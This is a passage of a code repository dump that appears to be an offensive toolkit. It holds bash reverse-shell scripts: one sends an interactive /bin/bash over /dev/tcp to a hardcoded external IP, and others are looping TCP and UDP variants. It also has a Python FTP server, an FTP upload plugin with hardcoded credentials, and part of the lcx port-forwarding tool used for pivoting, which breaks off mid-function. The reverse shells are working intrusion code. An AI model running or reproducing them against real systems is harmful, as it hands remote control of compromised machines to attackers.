基于exec 4 | # > author: s0nnet 5 | # > time: 2017-01-20 6 | 7 | exec 9<> /dev/tcp/23.106.159.159/8080&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile -I 8 | -------------------------------------------------------------------------------- /reverse_shell/tcp_shell_mix.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # > desc: bash反弹shell混合版 4 | # > author: s0nnet 5 | # > time: 2017-01-20 6 | 7 | 8 | function reverse_shell() 9 | { 10 | ip=127.0.0.1 11 | port=8089 12 | sleep_tm=1 13 | 14 | while [ 1 ] 15 | do { 16 | exec 9<> /dev/tcp/$ip/$port 17 | [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 18 | if type python >/dev/null; then 19 | python -c 'import pty; pty.spawn("/bin/bash")' 20 | else 21 | /bin/bash --refile "welcome!" --noprofile -i 22 | fi 23 | }& 24 | wait 25 | 26 | sleep $((RANDOM%sleep_tm)) 27 | 28 | done 29 | } 30 | 31 | reverse_shell 32 | -------------------------------------------------------------------------------- /reverse_shell/udp_shell_exec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # > desc: 反弹shell udp版 4 | # > author: s0nnet 5 | 6 | exec 3>/dev/udp/127.0.0.1/8080 7 | exec 2>&3 8 | exec 1>&3 9 | echo Welcom back 10 | cat 0<&3 | bash | while read line;do echo $line;done 11 | -------------------------------------------------------------------------------- /util_tools/ftp_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # a simple ftp server coding in python. 5 | # author: Hua Liang 6 | # website: http://EverET.org 7 | 8 | 9 | import socket, os, stat, threading, time, struct, getopt 10 | import sys, re, signal, select, logging, logging.handlers 11 | 12 | host = '0.0.0.0' 13 | port = 21 14 | limit_connection_number = 5 # max client number 15 | timeout = 60 * 3 # timeout in second 16 | default_home_dir = os.path.normpath(os.path.abspath(os.curdir)).replace('\\', '/') 17 | logfile = '/tmp/ftp.py.log' if os.name == 'posix' else default_home_dir + 'ftp.py.log' 18 | 19 | runas_user = 'www-data' 20 | global_options = {'run_mode':'fork'} 21 | 22 | # current working directory 23 | account_info = { 24 | 'anonymous':{'pass':'', 'home_dir':default_home_dir, 'runas_user':runas_user}, 25 | } 26 | 27 | def runas(username): 28 | if os.name != 'posix': return 29 | uid = get_uid(username) 30 | os.setgid(uid) 31 | os.setuid(uid) 32 | 33 | class FTPConnection: 34 | '''You can add handle func by startswith handle_ prefix. 35 | When the connection receives CWD command, it'll use handle_CWD to handle it. 36 | ''' 37 | def __init__(self, fd, remote_ip): 38 | self.fd = fd 39 | self.data_fd = 0 40 | self.options = {'pasv': False, 'utf8': False} 41 | self.data_host = '' 42 | self.data_port = 0 43 | self.localhost = fd.getsockname()[0] 44 | self.home_dir = default_home_dir 45 | self.curr_dir = '/' 46 | self.running = True 47 | self.handler = dict( 48 | [(method[7:], getattr(self, method)) \ 49 | for method in dir(self) \ 50 | if method.startswith("handle_") and callable(getattr(self, method))]) 51 | 52 | def start(self): 53 | try: 54 | self.say_welcome() 55 | while self.running: 56 | success, command, arg = self.recv() 57 | command = command.upper() 58 | if self.options['utf8']: 59 | arg = unicode(arg, 'utf8').encode(sys.getfilesystemencoding()) 60 | logger.info('[ ' + command + ' ] ' + arg) 61 | if not success: 62 | self.send_msg(500, "Failed") 63 | continue 64 | if not self.handler.has_key(command): 65 | self.send_msg(500, "Command Not Found") 66 | continue 67 | try: 68 | self.handler[command](arg) 69 | except OSError, e: 70 | logger.error(e) 71 | logger.error("in start") 72 | self.send_msg(500, 'Permission denied') 73 | self.say_bye() 74 | except Exception, e: 75 | self.running = False 76 | logger.error(e) 77 | logger.error("in start") 78 | finally: 79 | self.fd.close() 80 | 81 | logger.info("FTP connnection done.") 82 | 83 | return True 84 | 85 | def send_msg(self, code, msg): 86 | if self.options['utf8']: 87 | msg = unicode(msg, sys.getfilesystemencoding()).encode('utf8') 88 | message = str(code) + ' ' + msg + '\r\n' 89 | self.fd.send(message) 90 | 91 | def recv(self): 92 | '''returns 3 tuples, success, command, arg''' 93 | try: 94 | success, buf, command, arg = True, '', '', '' 95 | while True: 96 | data = self.fd.recv(4096) 97 | if not data or data <= 0: 98 | self.running = False 99 | success = False 100 | break 101 | buf += data 102 | if buf[-2:] == '\r\n': break 103 | split = buf.find(' ') 104 | command, arg = (buf[:split], buf[split + 1:].strip()) if split != -1 else (buf.strip(), '') 105 | except Exception, e: 106 | logger.error(e) 107 | logger.error("in recv") 108 | self.running = False 109 | success = False 110 | 111 | return success, command, arg 112 | 113 | 114 | def say_welcome(self): 115 | self.send_msg(220, "Welcome to EverET.org FTP") 116 | 117 | def say_bye(self): 118 | self.handle_BYE('') 119 | 120 | def data_connect(self): 121 | '''establish data connection''' 122 | if self.data_fd == 0: 123 | self.send_msg(500, "no data connection") 124 | return False 125 | elif self.options['pasv']: 126 | fd, addr = self.data_fd.accept() 127 | self.data_fd.close() 128 | self.data_fd = fd 129 | else: 130 | try: 131 | self.data_fd.connect((self.data_host, self.data_port)) 132 | except: 133 | self.send_msg(500, "failed to connect") 134 | return False 135 | return True 136 | 137 | def close_data_fd(self): 138 | self.data_fd.close() 139 | self.data_fd = 0 140 | 141 | def parse_path(self, path): 142 | if path == '': path = '.' 143 | if path[0] != '/': path = self.curr_dir + '/' + path 144 | logger.info('parse_path ' + path) 145 | split_path = os.path.normpath(path).replace('\\', '/').split('/') 146 | remote = '' 147 | local = self.home_dir 148 | for item in split_path: 149 | if item.startswith('..') or item == '': continue # ignore parent directory 150 | remote += '/' + item 151 | local += '/' + item 152 | if remote == '': remote = '/' 153 | logger.info(split_path) 154 | logger.info('remote: %s local: %s' % (remote, local)) 155 | return remote, local 156 | 157 | # Command Handlers 158 | def handle_USER(self, arg): 159 | if arg in account_info: 160 | self.username = arg 161 | if self.username == 'anonymous': 162 | self.send_msg(230, 'OK') 163 | else: 164 | self.send_msg(331, "Need password") 165 | else: 166 | self.send_msg(500, "Invalid User") 167 | self.running = False 168 | def handle_PASS(self, arg): 169 | if arg == account_info[self.username]['pass']: 170 | self.home_dir = account_info[self.username]['home_dir'] 171 | if account_info[self.username].has_key('runas_user'): 172 | user = account_info[self.username]['runas_user'] 173 | else: 174 | user = 'www-data' 175 | runas(user) 176 | if os.path.isdir(self.home_dir): 177 | self.send_msg(230, "OK") 178 | return 179 | self.send_msg(530, "Password is not corrected") 180 | self.running = False 181 | def handle_QUIT(self, arg): 182 | self.handle_BYE(arg) 183 | def handle_BYE(self, arg): 184 | self.running = False 185 | self.send_msg(200, "OK") 186 | def handle_CDUP(self, arg): 187 | self.handle_CWD('..') 188 | def handle_XPWD(self, arg): 189 | self.handle_PWD(arg) 190 | def handle_PWD(self, arg): 191 | remote, local = self.parse_path(self.curr_dir) 192 | self.send_msg(257, '"' + remote + '"') 193 | def handle_CWD(self, arg): 194 | remote, local = self.parse_path(arg) 195 | try: 196 | os.listdir(local) 197 | self.curr_dir = remote 198 | self.send_msg(250, "OK") 199 | except Exception, e: 200 | logger.error(e) 201 | logger.error("in cwd") 202 | self.send_msg(500, "Change directory failed!") 203 | def handle_SIZE(self, arg): 204 | remote, local = self.parse_path(self.curr_dir) 205 | self.send_msg(231, str(os.path.getsize(local))) 206 | def handle_SYST(self, arg): 207 | self.send_msg(215, "UNIX") 208 | def handle_STOR(self, arg): 209 | remote, local = self.parse_path(arg) 210 | if not self.data_connect(): return 211 | self.send_msg(125, "OK") 212 | f = open(local, 'wb') 213 | while True: 214 | data = self.data_fd.recv(8192) 215 | if len(data) == 0: break 216 | f.write(data) 217 | f.close() 218 | self.close_data_fd() 219 | self.send_msg(226, "OK") 220 | def handle_RETR(self, arg): 221 | remote, local = self.parse_path(arg) 222 | if not self.data_connect(): return 223 | self.send_msg(125, "OK") 224 | f = open(local, 'rb') 225 | while True: 226 | data = f.read(8192) 227 | if len(data) == 0: break 228 | self.data_fd.send(data) 229 | f.close() 230 | self.close_data_fd() 231 | self.send_msg(226, "OK") 232 | def handle_TYPE(self, arg): 233 | self.send_msg(220, "OK") 234 | def handle_RNFR(self, arg): 235 | remote, local = self.parse_path(arg) 236 | self.rename_tmp_path = local 237 | self.send_msg(350, 'rename from ' + remote) 238 | def handle_RNTO(self, arg): 239 | remote, local = self.parse_path(arg) 240 | os.rename(self.rename_tmp_path, local) 241 | self.send_msg(250, 'rename to ' + remote) 242 | def handle_NLST(self, arg): 243 | if not self.data_connect(): return 244 | self.send_msg(125, "OK") 245 | remote, local = self.parse_path(self.curr_dir) 246 | for filename in os.listdir(local): 247 | self.data_fd.send(filename + '\r\n') 248 | self.send_msg(226, "Limit") 249 | self.close_data_fd() 250 | def handle_XMKD(self, arg): 251 | self.handle_MKD(arg) 252 | def handle_MKD(self, arg): 253 | remote, local = self.parse_path(arg) 254 | if os.path.exists(local): 255 | self.send_msg(500, "Folder is already existed") 256 | return 257 | os.mkdir(local) 258 | self.send_msg(257, "OK") 259 | def handle_XRMD(self, arg): 260 | self.handle_RMD(arg) 261 | def handle_RMD(self, arg): 262 | remote, local = self.parse_path(arg) 263 | if not os.path.exists(local): 264 | self.send_msg(500, "Folder is not existed") 265 | return 266 | os.rmdir(local) 267 | self.send_msg(250, "OK") 268 | def handle_LIST(self, arg): 269 | if not self.data_connect(): return 270 | self.send_msg(125, "OK") 271 | template = "%s%s%s------- %04u %8s %8s %8lu %s %s\r\n" 272 | remote, local = self.parse_path(self.curr_dir) 273 | for filename in os.listdir(local): 274 | path = local + '/' + filename 275 | if os.path.isfile(path) or os.path.isdir(path): # ignores link or block file 276 | status = os.stat(path) 277 | msg = template % ( 278 | 'd' if os.path.isdir(path) else '-', 279 | 'r', 'w', 1, '0', '0', 280 | status[stat.ST_SIZE], 281 | time.strftime("%b %d %Y", time.localtime(status[stat.ST_MTIME])), 282 | filename) 283 | if self.options['utf8']: msg = unicode(msg, sys.getfilesystemencoding()).encode('utf8') 284 | self.data_fd.send(msg) 285 | self.send_msg(226, "Limit") 286 | self.close_data_fd() 287 | def handle_PASV(self, arg): 288 | self.options['pasv'] = True 289 | try: 290 | self.data_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 291 | self.data_fd.bind((self.localhost, 0)) 292 | self.data_fd.listen(1) 293 | ip, port = self.data_fd.getsockname() 294 | self.send_msg(227, 'Enter Passive Mode (%s,%u,%u).' % 295 | (','.join(ip.split('.')), (port >> 8 & 0xff), (port & 0xff))) 296 | except Exception, e: 297 | logger.error(e) 298 | logger.error("in pasv") 299 | self.send_msg(500, 'passive mode failed') 300 | def handle_PORT(self, arg): 301 | try: 302 | if self.data_fd: 303 | self.data_fd.close() 304 | t = arg.split(',') 305 | self.data_host = '.'.join(t[:4]) 306 | self.data_port = int(t[4]) * 256 + int(t[5]) 307 | self.data_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 308 | except: 309 | self.send_msg(500, "PORT failed") 310 | self.send_msg(200, "OK") 311 | def handle_DELE(self, arg): 312 | remote, local = self.parse_path(arg) 313 | if not os.path.exists(local): 314 | self.send_msg(450, "File not exist") 315 | return 316 | os.remove(local) 317 | self.send_msg(250, 'File deleted') 318 | def handle_OPTS(self, arg): 319 | if arg.upper() == "UTF8 ON": 320 | self.options['utf8'] = True 321 | self.send_msg(200, "OK") 322 | elif arg.upper() == "UTF8 OFF": 323 | self.options['utf8'] = False 324 | self.send_msg(200, "OK") 325 | else: 326 | self.send_msg(500, "Invalid argument") 327 | 328 | 329 | 330 | class FTPThread(threading.Thread): 331 | '''FTPConnection Thread Wrapper''' 332 | def __init__(self, fd, remote_ip): 333 | threading.Thread.__init__(self) 334 | self.ftp = FTPConnection(fd, remote_ip) 335 | 336 | def run(self): 337 | self.ftp.start() 338 | logger.info("Thread done") 339 | 340 | class FTPThreadServer: 341 | '''FTP Server which is using thread''' 342 | def serve_forever(self): 343 | listen_fd = socket.socket() 344 | listen_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 345 | listen_fd.bind((host, port)) 346 | listen_fd.listen(512) 347 | while True: 348 | logger.info('new server') 349 | client_fd, client_addr = listen_fd.accept() 350 | handler = FTPThread(client_fd, client_addr) 351 | handler.start() 352 | 353 | 354 | class FTPForkServer: 355 | '''FTP Fork Server, use process per user''' 356 | def child_main(self, client_fd, client_addr, write_end): 357 | '''never return''' 358 | for fd in self.read_fds: 359 | os.close(fd) 360 | self.read_fds = [] 361 | 362 | try: 363 | handler = FTPConnection(client_fd, client_addr) 364 | handler.start() 365 | except Exception, e: 366 | logger.error(e) 367 | logger.error("in child_main") 368 | 369 | os.write(write_end, str(write_end)) 370 | 371 | sys.exit() 372 | 373 | def serve_forever(self): 374 | listen_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 375 | listen_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 376 | listen_fd.bind((host, port)) 377 | listen_fd.listen(512) 378 | self.read_fds = [listen_fd] 379 | while True: 380 | rlist, wlist, xlist = select.select(self.read_fds, [], []) 381 | 382 | if listen_fd in rlist: 383 | client_fd, client_addr = listen_fd.accept() 384 | if len(self.read_fds) > limit_connection_number: 385 | logger.error('reject client: ' + str(client_addr)) 386 | client_fd.close() 387 | continue 388 | try: 389 | logger.info('new client: ' + str(client_addr)) 390 | read_end, write_end = os.pipe() 391 | self.read_fds.append(read_end) 392 | fork_result = os.fork() 393 | if fork_result == 0: # child process 394 | listen_fd.close() 395 | self.read_fds.remove(listen_fd) 396 | self.child_main(client_fd, client_addr, write_end) # never return 397 | else: 398 | os.close(write_end) 399 | except Exception, e: 400 | logger.error(e) 401 | logger.error('Fork failed') 402 | 403 | for read_fd in rlist: 404 | if read_fd == listen_fd: continue 405 | data = os.read(read_fd, 32) 406 | self.read_fds.remove(read_fd) 407 | os.close(read_fd) 408 | 409 | 410 | 411 | def get_uid(username = 'www-data'): 412 | '''get uid by username, I don't know whether there's a 413 | function can get it, so I wrote this function.''' 414 | pwd = open('/etc/passwd', 'r') 415 | pat = re.compile(username + ':.*?:(.*?):.*?') 416 | for line in pwd.readlines(): 417 | try: 418 | uid = pat.search(line).group(1) 419 | except: continue 420 | return int(uid) 421 | 422 | def get_logger(handler = logging.StreamHandler()): 423 | logger = logging.getLogger() 424 | formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') 425 | handler.setFormatter(formatter) 426 | logger.addHandler(handler) 427 | logger.setLevel(logging.NOTSET) 428 | return logger 429 | 430 | def daemonize(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): 431 | '''becomes a daemon''' 432 | try: 433 | pid = os.fork() 434 | if pid > 0: sys.exit(0) 435 | except OSError, e: 436 | sys.stderr.write("fork #1 failed\n") 437 | sys.exit(1) 438 | 439 | os.umask(0) 440 | os.setsid() 441 | 442 | try: 443 | pid = os.fork() 444 | if pid > 0: sys.exit(0) 445 | except OSError, e: 446 | sys.stderr.write("fork #2 failed\n") 447 | sys.exit(1) 448 | 449 | for f in sys.stdout, sys.stderr: f.flush() 450 | si = file(stdin, 'r') 451 | so = file(stdout, 'a+') 452 | se = file(stderr, 'a+', 0) 453 | os.dup2(si.fileno(), sys.stdin.fileno()) # 0 454 | os.dup2(so.fileno(), sys.stdout.fileno()) # 1 455 | os.dup2(se.fileno(), sys.stderr.fileno()) # 2 456 | 457 | def serve_forever(): 458 | global global_options 459 | print global_options 460 | if global_options['run_mode'] == 'fork': 461 | signal.signal(signal.SIGCHLD, signal.SIG_IGN) 462 | server = FTPForkServer() 463 | else: 464 | server = FTPThreadServer() 465 | 466 | server.serve_forever() 467 | 468 | def usage(): 469 | print '''usage: %s [-d] [-h] [-p port] [-o] [-t] 470 | -d become a daemon 471 | -h help 472 | -p listen port 473 | -o output log to stdout, by default, it outputs to a log file. 474 | -t thread mode, fork model by default 475 | 476 | Waring: 477 | The Thread Mode is not complete. 478 | 479 | Author: 480 | Hua Liang [ Stupid ET ] 481 | http://EverET.org 482 | ''' % os.path.basename(sys.argv[0]) 483 | 484 | def param_handler(opts): 485 | global port, logger, global_options 486 | be_daemon = False 487 | logger = get_logger(logging.FileHandler(logfile)) 488 | for o, a in opts: 489 | if o == '-h': 490 | usage() 491 | sys.exit(0) 492 | elif o == '-d': 493 | if not os.name == 'posix': 494 | print 'Only support the os with posix specifications.' 495 | sys.exit(-1) 496 | be_daemon = True 497 | elif o == '-o': 498 | logger = get_logger() 499 | elif o == '-p': 500 | try: port = int(a) 501 | except Exception, e: 502 | usage() 503 | sys.exit(0) 504 | elif o == '-t': 505 | global_options['run_mode'] = 'thread' 506 | 507 | if os.name != 'posix' and global_options['run_mode'] == 'fork': 508 | print "You can NOT run fork mode in a non posix os,\ 509 | please use -t options to run in thread mode" 510 | sys.exit(-1) 511 | if be_daemon: daemonize() 512 | 513 | if __name__ == '__main__': 514 | try: 515 | opts, args = getopt.getopt(sys.argv[1:], 'hdp:ot') 516 | except getopt.GetoptError: 517 | usage() 518 | sys.exit(2) 519 | 520 | param_handler(opts) 521 | 522 | socket.setdefaulttimeout(timeout) 523 | 524 | '''You can write your account_info in ftp.py.config''' 525 | try: execfile('ftp.py.config') 526 | except Exception, e: logger.error(e) 527 | 528 | serve_forever() 529 | -------------------------------------------------------------------------------- /util_tools/ftp_upload_plugin.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf8 -*- 2 | 3 | import os 4 | import time 5 | import string 6 | import random 7 | import socket 8 | import win32api 9 | import win32con 10 | import base64 11 | from ftplib import FTP 12 | 13 | userID = ' ' 14 | username = 'test' 15 | password = 'test' 16 | host = '192.168.194.6' 17 | path = './media' 18 | remotepath = '/' 19 | client_keys = ['01TW5JKD','02YUW8B3','03W49GHK'] 20 | 21 | 22 | def get_new_name(): 23 | now_time = time.strftime("%Y%m%d",time.localtime()) 24 | chars = string.digits + string.letters 25 | gen_str = ''.join(random.sample(chars,5)) 26 | new_name = now_time + gen_str + userID +'.mp4' 27 | return(new_name) 28 | 29 | def rename_file(): 30 | print '\n' 31 | for file in os.listdir(path): 32 | if os.path.isfile(os.path.join(path,file)) == True: 33 | os.rename(os.path.join(path,file),os.path.join(path,get_new_name())) 34 | print '%s ==> %s\n' % (file,get_new_name()) 35 | log = open('log.txt','a+') 36 | action = time.strftime('%Y%m%d %H:%M:%S ', time.localtime()) + file +' '+ get_new_name() 37 | log.write(action+'\n') 38 | log.close() 39 | 40 | def uploading(): 41 | for file in os.listdir(path): 42 | try: 43 | f = FTP(host) 44 | f.login(username,password) 45 | f.cwd(remotepath) 46 | fd = open(os.path.join(path,file),'rb') 47 | print u'正在上传:', 48 | print file 49 | f.storbinary('STOR %s' % os.path.basename(file),fd) 50 | fd.close() 51 | f.quit() 52 | 53 | except: 54 | print '%s' % file 55 | print u'上传失败!' 56 | print u'\n视频已全部上传完成!\n' 57 | print u'按任意键退出!' 58 | raw_input('') 59 | 60 | 61 | def upload_file(): 62 | try: 63 | dirs = os.listdir('media') 64 | print '-'* 50 65 | print u'已在media文件夹下读取到以下文件:' 66 | print '-'* 50 67 | for file in dirs: 68 | print file+'\n' 69 | print '-'* 50 70 | print u'是否全部上传(y/n)?' 71 | ch = raw_input(' ') 72 | try: 73 | if (ch == 'y' or ch == 'Y'): 74 | rename_file() 75 | uploading() 76 | except: 77 | print u'已取消上传!' 78 | 79 | except : 80 | print u'无法读取当前的media文件夹,请先创建media文件夹再将视频文件放入其中!' 81 | s = os.getcwd() 82 | print u'当前路径为'+s+'\n\n' 83 | time.sleep(5) 84 | 85 | def list_file(): 86 | try: 87 | f = FTP(host) 88 | f.login(username,password) 89 | f.cwd(remotepath) 90 | print '-'* 50 91 | print u'服务器文件列表:' 92 | print '-'* 50 93 | files = f.dir() 94 | print files 95 | print '-'* 50 96 | f.quit() 97 | print u'\n按任意键退出!' 98 | raw_input('') 99 | except: 100 | print u'服务器文件列表获取失败!' 101 | 102 | def read_reg(): 103 | try: 104 | subkey = 'SOFTWARE\Microsoft\Windows\CurrentVersion' 105 | key = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_READ) 106 | string = win32api.RegQueryValueEx(key,'ftp_client') 107 | return True 108 | except: 109 | return False 110 | 111 | def add_reg(client_key): 112 | print 'client_key = %s' % client_key 113 | try: 114 | subkey = 'SOFTWARE\Microsoft\Windows\CurrentVersion' 115 | key = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS) 116 | win32api.RegSetValueEx(key,'ftp_client',0,win32con.REG_SZ,client_key) 117 | return True 118 | except: 119 | print u'权限不许可,请以管理员权限运行!' 120 | return False 121 | 122 | def running(): 123 | print '\n'+'-'*50 124 | print u' 1.上传视频文件\n 2.服务器文件列表\n' 125 | ch = raw_input('==> ') 126 | try: 127 | if (ch == '1'): 128 | upload_file() 129 | elif(ch == '2'): 130 | list_file() 131 | else: 132 | print u'输入错误!\n' 133 | except: 134 | print u'初始化失败!' 135 | 136 | def get_key(): 137 | global userID 138 | print u'此上传插件尚未激活,请输入激活密钥:' 139 | client_key = raw_input('>>>') 140 | if client_key in client_keys: 141 | if add_reg(client_key): 142 | print u'此上传插件已激活!\n' 143 | userID = client_key[:2] 144 | print userID 145 | running() 146 | else: 147 | print u'激活失败,请输入正确的密钥!' 148 | 149 | def login_client(): 150 | if read_reg(): 151 | running() 152 | else: 153 | get_key() 154 | 155 | if __name__ == '__main__': 156 | 157 | login_client() 158 | time.sleep(3) 159 | 160 | -------------------------------------------------------------------------------- /util_tools/lcx.c: -------------------------------------------------------------------------------- 1 | /* 2 | Lcx: Port Data Transfer 3 | Compile Environment:Windows Codeblocks 10.05/Ubuntu 10.04 Codeblocks 8.10 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define BUF_LEN 8192 13 | 14 | #ifdef WIN32 //WINDOWS COMPILE 15 | 16 | #include 17 | #include 18 | 19 | #define SOCKET_INIT {WSADATA wsa;WSAStartup(MAKEWORD(2,2),&wsa);} 20 | /* 21 | #define PTHREAD_INIT {pthread_win32_process_attach_np();pthread_win32_thread_attach_np();atexit(detach_ptw32);} 22 | 23 | static void detach_ptw32(void) 24 | { 25 | pthread_win32_thread_detach_np(); 26 | pthread_win32_process_detach_np(); 27 | } 28 | */ 29 | 30 | 31 | #define ThreadReturn DWORD WINAPI 32 | 33 | #define delay(x) Sleep(x) 34 | 35 | #else //LINUX COMPILE 36 | 37 | 38 | #define PTW32_STATIC_LIB 39 | #include 40 | 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | 47 | #define PTHREAD_INIT 48 | #define SOCKET_INIT 49 | 50 | typedef int SOCKET; 51 | #define ThreadReturn void* 52 | 53 | #define delay(x) usleep(x*1000) 54 | #define closesocket(x) close(x) 55 | 56 | #endif 57 | 58 | typedef ThreadReturn (*Func)(void*); 59 | 60 | FILE* lcx_log = NULL; 61 | FILE* lcx_hex = NULL; 62 | FILE* lcx_text = NULL; 63 | int total_connect = 0; 64 | 65 | int main_func(int argc,char**argv); 66 | 67 | void ctrl_c(int32_t i) 68 | { 69 | fprintf(stdout,"\n[-] Receive: Ctrl+C..I'll quit..\n"); 70 | fprintf(stdout,"\n[+] Let me exit....\n"); 71 | fprintf(stdout,"[+] All Right!\n\n"); 72 | exit(0); 73 | } 74 | 75 | 76 | int in_createthread(Func run,void* data) 77 | { 78 | #ifdef WIN32 79 | HANDLE h = CreateThread(NULL,0,run,data,0,NULL); 80 | CloseHandle(h); 81 | #else 82 | PTHREAD_INIT 83 | pthread_t tt; 84 | pthread_create(&tt,NULL,run,data); 85 | #endif 86 | delay(5); 87 | return 0; 88 | } 89 | 90 | ThreadReturn in_data_tran(void* p) 91 | { 92 | SOCKET t[2]; 93 | t[0]=((int*)p)[0]; 94 | t[1]=((int*)p)[1]; 95 | 96 | struct sockaddr_in sa[2]; 97 | const unsigned char* ip[2]; 98 | unsigned short port[2]; 99 | 100 | int len = sizeof(struct sockaddr_in); 101 | if(getpeername(t[0],(struct sockaddr*)sa,&len)==-1 || getpeername(t[1],(struct sockaddr*)(sa+1),&len)==-1) 102 | { 103 | fprintf(stdout,"\n[-] Get Remote Host Failed\n"); 104 | if(lcx_log)fprintf(lcx_log,"\n[-] Get Remote Host Failed\n"),fflush(lcx_log); 105 | closesocket(t[0]); 106 | closesocket(t[1]); 107 | return 0; 108 | } 109 | 110 | ip[0] = (unsigned char*)&sa[0].sin_addr.s_addr; 111 | ip[1] = (unsigned char*)&sa[1].sin_addr.s_addr; 112 | port[0] = htons(sa[0].sin_port); 113 | port[1] = htons(sa[1].sin_port); 114 | 115 | fd_set fd_list,check_list; 116 | FD_ZERO(&fd_list); 117 | FD_SET(t[0],&fd_list); 118 | FD_SET(t[1],&fd_list); 119 | 120 | unsigned char buf[BUF_LEN]; 121 | int OK = 1; 122 | int total_byte = 0; 123 | ++total_connect; 124 | while( OK && ( (check_list = fd_list),(select(FD_SETSIZE,&check_list,NULL,NULL,NULL)>0)) ) 125 | { 126 | int i; 127 | for(i=0;i<2;++i) 128 | { 129 | if(FD_ISSET(t[i],&check_list)) 130 | { 131 | int len = recv(t[i],buf,BUF_LEN,0); 132 | if(len>0 && send(t[i==0],buf,len,0)>0 ) 133 | { 134 | total_byte += len; 135 | char out[100]; 136 | sprintf(out,"\n[+] Send : %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d, %d Bytes\n", 137 | total_connect,ip[i][0],ip[i][1],ip[i][2],ip[i][3],port[i],ip[i==0][0],ip[i==0][1],ip[i==0][2],ip[i==0][3],port[i==0],len); 138 | fprintf(stdout,"%s",out);fflush(stdout); 139 | if(lcx_log)fprintf(lcx_log,"%s",out),fflush(lcx_log); 140 | if(lcx_text) 141 | { 142 | fprintf(lcx_text,"\n%s\n",out); 143 | fwrite(buf,1,len,lcx_text); 144 | fflush(lcx_text); 145 | } 146 | if(lcx_hex) 147 | { 148 | fprintf(lcx_hex,"\n%s",out); 149 | int i; 150 | for(i=0;i Cutdown, Total : %d Bytes\n\n",total_connect,total_byte);fflush(stdout); 162 | if(lcx_log)fprintf(lcx_log,"\n[+] Connection Cutdown, Total : %d Bytes\n\n",total_connect,total_byte),fflush(lcx_log); 163 | 164 | break; 165 | } 166 | } 167 | } 168 | } 169 | --total_connect; 170 | 171 | closesocket(t[0]); 172 | closesocket(t[1]); 173 | #ifdef WIN32 174 | return 0; 175 | #else 176 | return NULL; 177 | #endif 178 | } 179 | 180 | long gethost(const char* name) 181 | { 182 | if(name) 183 | { 184 | struct hostent *host = gethostbyname(name); 185 | long i; 186 | if(host&&host->h_addr) 187 | { 188 | i = *(long *)(host->h_addr); 189 | return i; 190 | } 191 | } 192 | fprintf(stdout,"\nERROR: %s: Wrong host address\n\n",name); 193 | return -1; 194 | } 195 | 196 | int lcx_slave(const char* ip1_str,unsigned short port1,const char* ip2_str,unsigned short port2) 197 | { 198 | SOCKET_INIT 199 | 200 | char out1[100],out2[100]; 201 | while(1) 202 | { 203 | unsigned long ip1 = gethost(ip1_str); 204 | if(-1 == ip1) 205 | { 206 | fprintf(stdout,"\n[-] Reslove Host %s Failed...\n",ip1_str),fflush(stdout); 207 | break; 208 | } 209 | unsigned long ip2 = gethost(ip2_str); 210 | if(-1 == ip2) 211 | { 212 | fprintf(stdout,"\n[-] Reslove Host %s Failed...\n",ip2_str),fflush(stdout); 213 | break; 214 | } 215 | SOCKET s[2]; 216 | s[0] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 217 | s[1] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 218 | struct sockaddr_in sa[2]; 219 | sa[0].sin_family = AF_INET; 220 | sa[0].sin_port = htons(port1); 221 | sa[0].sin_addr.s_addr = (ip1); 222 | sa[1].sin_family = AF_INET; 223 | sa[1].sin_port = htons(port2); 224 | sa[1].sin_addr.s_addr = (ip2); 225 | unsigned char*ip[2]; 226 | ip[0] = (unsigned char*)&ip1; 227 | ip[1] = (unsigned char*)&ip2; 228 | sprintf(out1,"%d.%d.%d.%d:%d",ip[0][0],ip[0][1],ip[0][2],ip[0][3],port1); 229 | sprintf(out2,"%d.%d.%d.%d:%d",ip[1][0],ip[1][1],ip[1][2],ip[1][3],port2); 230 | 231 | if(s[0]!=-1 && s[1]!=-1) 232 | { 233 | fprintf(stdout,"\n[+] Connect %s, Please Wait\n",out1);fflush(stdout); 234 | if(lcx_log)fprintf(lcx_log,"\n[+] Connect %s, Please Wait\n",out1),fflush(lcx_log); 235 | while(connect(s[0],(struct sockaddr*)&sa[0],sizeof(struct sockaddr))!=0) 236 | { 237 | fprintf(stdout,"\n[-] Connect %s Failed,Try Again..\n",out1); 238 | if(lcx_log)fprintf(lcx_log,"\n[-] Connect %s Failed,Try Again..\n",out1),fflush(lcx_log); 239 | delay(1000); 240 | } 241 | char c; 242 | if(recv(s[0],(char*)&c,1,MSG_PEEK)<=0) 243 | { 244 | fprintf(stdout,"\n[-] Connect %s Failed,CutDown...\n",out2); 245 | if(lcx_log)fprintf(lcx_log,"\n[-] Connect %s Failed,CutDown...\n",out2),fflush(lcx_log); 246 | closesocket(s[0]); 247 | closesocket(s[1]); 248 | continue; 249 | } 250 | fprintf(stdout,"\n[+] Connect %s Successed,Now Connect %s\n",out1,out2);fflush(stdout); 251 | if(lcx_log)fprintf(lcx_log,"\n[+] Connect %s Successed,Now Connect %s\n",out1,out2),fflush(lcx_log); 252 | if(connect(s[1],(struct sockaddr*)&sa[1],sizeof(struct sockaddr))==0) 253 | { 254 | fprintf(stdout,"\n[+] Connect %s Successed,Transfering...\n",out2);fflush(stdout); 255 | if(lcx_log)fprintf(lcx_log,"\n[+] Connect 